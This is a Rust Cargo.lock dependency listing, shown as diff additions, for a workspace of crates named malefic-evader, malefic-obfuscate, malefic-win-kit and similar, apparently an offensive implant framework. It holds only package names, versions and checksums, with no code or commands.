+[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "async-channel" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456b8a8feb6f42d237746d4b3e9a178494627745c3c56c6ea55d92ba50d026fc" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix 1.1.4", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel", + "async-io", + "async-lock", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener", + "futures-lite", + "rustix 1.1.4", +] + +[[package]] +name = "async-signal" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43c070bbf59cd3570b6b2dd54cd772527c7c3620fce8be898406dd3ed6adc64c" +dependencies = [ + "async-io", + "async-lock", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 1.1.4", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-task" +version = "4.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi 0.1.19", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bindgen" +version = "0.72.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895" +dependencies = [ + "bitflags 2.11.0", + "cexpr", + "clang-sys", + "itertools 0.13.0", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn 2.0.117", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blocking" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" +dependencies = [ + "async-channel", + "async-task", + "futures-io", + "futures-lite", + "piper", +] + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cbindgen" +version = "0.24.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b922faaf31122819ec80c4047cc684c6979a087366c069611e33649bf98e18d" +dependencies = [ + "clap", + "heck 0.4.1", + "indexmap", + "log", + "proc-macro2", + "quote", + "serde", + "serde_json", + "syn 1.0.109", + "tempfile", + "toml", +] + +[[package]] +name = "cc" +version = "1.2.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clang-sys" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "clap" +version = "3.2.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea181bf566f71cb9a5d17a59e1871af638180a18fb0035c92ae62b705207123" +dependencies = [ + "atty", + "bitflags 1.3.2", + "clap_lex", + "indexmap", + "strsim", + "termcolor", + "textwrap", +] + +[[package]] +name = "clap_lex" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5" +dependencies = [ + "os_str_bytes", +] + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "const-random" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" +dependencies = [ + "const-random-macro", +] + +[[package]] +name = "const-random-macro" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" +dependencies = [ + "getrandom", + "once_cell", + "tiny-keccak", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "des" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffdd80ce8ce993de27e9f063a444a4d53ce8e8db4c1f00cc03af5ad5a9867a1e" +dependencies = [ + "cipher", +] + +[[package]] +name = "detour" +version = "0.1.0" +source = "git+https://github.com/chainreactors/retour-rs?branch=fix-nightly1.67.0-changes#71ed8a31a7f0e9be8b6b5e1b57c599f3cb496662" +dependencies = [ + "cfg-if", + "generic-array", + "lazy_static", + "libc", + "libudis86-sys", + "mmap-fixed-fixed", + "region", + "slice-pool", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "ecb" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a8bfa975b1aec2145850fcaa1c6fe269a16578c44705a532ae3edc92b8881c7" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "event-listener" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13b66accf52311f30a0db42147dadea9850cb48cd070028831ae5f5d4b856ab" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "futures" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b147ee9d1f6d097cef9ce628cd2ee62288d963e16fb287bd9286455b241382d" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-executor" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-timer" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "glob" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cc23270f6e1808e30a928bdc84dea0b9b4136a8bc82338574f23baf47bbd280" + +[[package]] +name = "goblin" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b363a30c165f666402fe6a3024d3bec7ebc898f96a4a23bd1c99f8dbf3f4f47" +dependencies = [ + "log", + "plain", + "scroll", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "itertools" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "libc" +version = "0.2.182" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" + +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link", +] + +[[package]] +name = "libudis86-sys" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139bbf9ddb1bfc90c1ac64dd2923d9c957cd433cee7315c018125d72ab08a6b0" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "mach2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d640282b302c0bb0a2a8e0233ead9035e3bed871f0b7e81fe4a1ec829765db44" +dependencies = [ + "libc", +] + +[[package]] +name = "malefic-codec" +version = "0.1.0" +dependencies = [ + "aes", + "cbc", + "chacha20", + "cipher", + "des", + "ecb", + "malefic-common", + "malefic-macro", + "malefic-obfuscate", + "sha2", +] + +[[package]] +name = "malefic-common" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-timer", + "libc", + "malefic-obfuscate", + "nanorand", + "thiserror", +] + +[[package]] +name = "malefic-evader" +version = "0.1.0" +dependencies = [ + "malefic-common", + "malefic-obfuscate", + "malefic-os-win", + "malefic-process", +] + +[[package]] +name = "malefic-macro" +version = "0.1.1" +dependencies = [ + "aes", + "const-random", + "ctr", + "proc-macro2", + "quote", + "rand", + "syn 2.0.117", +] + +[[package]] +name = "malefic-obfuscate" +version = "0.1.0" +dependencies = [ + "aes", + "ctr", + "libc", + "malefic-macro", + "nanorand", + "windows", + "zeroize", +] + +[[package]] +name = "malefic-os-win" +version = "0.1.0" +dependencies = [ + "anyhow", + "bindgen", + "malefic-common", + "malefic-obfuscate", + "malefic-process", + "malefic-win-kit", + "quote", + "strum", + "strum_macros", + "syn 2.0.117", + "windows", +] + +[[package]] +name = "malefic-process" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-process", + "libc", + "malefic-common", + "malefic-macro", + "malefic-obfuscate", + "nix", + "users", + "windows", +] + +[[package]] +name = "malefic-starship" +version = "0.1.0" +dependencies = [ + "bindgen", + "cc", + "malefic-codec", + "malefic-evader", + "malefic-obfuscate", + "malefic-os-win", + "quote", + "syn 2.0.117", + "tempfile", +] + +[[package]] +name = "malefic-win-kit" +version = "0.1.0" +dependencies = [ + "base64", + "bitflags 1.3.2", + "cbindgen", + "cfg-if", + "detour", + "goblin", + "itertools 0.9.0", + "lazy_static", + "nanorand", + "obfstr", + "winapi", + "windows", + "windows-sys 0.59.0", +] + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "mmap-fixed-fixed" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0681853891801e4763dc252e843672faf32bcfee27a0aa3b19733902af450acc" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset", + "pin-utils", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "obfstr" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee" + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "os_str_bytes" +version = "6.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2355d85b9a3786f481747ced0e0ff2ba35213a1f9bd406ed906554d7af805a1" + +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1" +dependencies = [ + "atomic-waker", + "fastrand", + "futures-io", +] + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "polling" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0e4f59085d47d8241c88ead0f274e8a0cb551f3625263c05eb8dd897c34218" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi 0.5.2", + "pin-project-lite", + "rustix 1.1.4", + "windows-sys 0.61.2", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "region" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6b6ebd13bc009aef9cd476c1310d49ac354d36e240cf1bd753290f3dc7199a7" +dependencies = [ + "bitflags 1.3.2", + "libc", + "mach2", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys 0.4.15", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "scroll" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ab8598aa408498679922eff7fa985c25d58a90771bd6be794434c5277eab1a6" +dependencies = [ + "scroll_derive", +] + +[[package]] +name = "scroll_derive" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1783eabc414609e28a5ba76aee5ddd52199f7107a0b24c2e9746a1ecc34a683d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 